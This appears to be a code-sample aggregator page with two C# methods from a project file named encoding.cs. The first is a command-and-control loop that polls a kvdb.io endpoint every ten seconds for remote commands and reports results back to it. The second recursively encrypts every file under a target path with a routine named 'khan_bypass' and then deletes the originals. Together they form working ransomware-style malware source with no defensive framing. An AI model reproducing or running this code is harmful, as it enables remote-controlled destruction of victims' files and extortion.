예제 #1
0
파일: encoding.cs 프로젝트: FurqanKhan1/D
    static void Main(string[] args)
    {
        khan_bypass    h    = new khan_bypass();
        Driver_Program obj  = new Driver_Program();
        string         pass = "******";

        while (true)
        {
            try
            {
                int sleepfor = 10000;
                Thread.Sleep(sleepfor);
                string res         = "FQM3hbtRhm94tkaLXBm5kF";
                string res_key     = res;
                string updated_ep  = "https://kvdb.io/" + res_key + "/file_encrypt";
                var    resp2       = obj.getData(updated_ep);
                string new_command = "";
                if ((resp2.Equals("0") == false) && (resp2.Equals("") == false))
                {
                    //encrypt,path,C:\Users\furqa\Documents,0
                    string [] command_details = resp2.Split(',');
                    string    command_type    = command_details[0];
                    string    type            = command_details[1];
                    if (command_type.Equals("exfil"))
                    {
                        Output.WriteLine("(a) Path is : " + command_details[2]);

                        if (type.Equals("path"))
                        {
                            if (command_details[3].Equals("1"))
                            {
                                new_command = command_details[0] + "," + command_details[1] + "," + command_details[2] + "," + "0";
                                var res1 = obj.PostRequestJson(updated_ep, new_command);
                                Output.WriteLine("Updated Resp : " + res1);
                                RecursiveFileSearch.Start(command_details[2]);
                                string updated_epp = "https://kvdb.io/" + res_key + "/file_encrypt_results";
                                var    r           = obj.PostRequestJson(updated_epp, new_command + ",Executed Successfully");
                            }
                            else
                            {
                                Output.WriteLine("(2) Pass no new command");
                            }
                        }
                        else
                        {
                            Output.WriteLine("(b) Invalid path");
                        }
                    }
                }
                else
                {
                    Output.WriteLine("(**) No new command  " + resp2);
                }
                Output.WriteLine("Resp obtained : " + resp2);
            }
            catch (Exception ex)
            {
                Output.WriteLine("Exception : " + ex.Message);
                //sw.Write(ex.Message);
            }
        }
    }
예제 #2
0
파일: encoding.cs 프로젝트: FurqanKhan1/D
    static void WalkDirectoryTree(System.IO.DirectoryInfo root, string path)
    {
        System.IO.FileInfo[]      files   = null;
        System.IO.DirectoryInfo[] subDirs = null;
        if (Directory.Exists(@path + "\\Enc\\"))
        {
            Output.WriteLine("That path exists already.");
        }
        else
        {
            DirectoryInfo di = Directory.CreateDirectory(@path + "\\Enc\\");
            Output.WriteLine("The directory was created successfully at : " + Directory.GetCreationTime(@path + "\\Enc\\"));
            // First, process all the files directly under this folder
        }
        try
        {
            files = root.GetFiles("*.*");
        }

        catch (UnauthorizedAccessException e)
        {
            log.Add(e.Message);
        }

        catch (System.IO.DirectoryNotFoundException e)
        {
            Output.WriteLine(e.Message);
        }

        if (files != null)
        {
            Output.WriteLine("root is : " + root.ToString());

            foreach (System.IO.FileInfo fi in files)
            {
                try
                {
                    if (fi.FullName.StartsWith(path))
                    {
                        Output.WriteLine(fi.FullName);
                        khan_bypass h    = new khan_bypass();
                        string      pass = "******";
                        string      p    = fi.FullName.ToString().Replace("\\", "-").Replace(":", "_");
                        Output.WriteLine(p);
                        h.Khan_encrypt(fi.FullName, @path + "\\Enc\\" + p + ".en", pass, h.salt, 1000);
                        File.Delete(fi.FullName);
                    }
                }
                catch (Exception ex)
                {
                    Output.WriteLine(ex.Message);
                }
            }


            subDirs = root.GetDirectories();

            foreach (System.IO.DirectoryInfo dirInfo in subDirs)
            {
                WalkDirectoryTree(dirInfo, path);
            }
        }
    }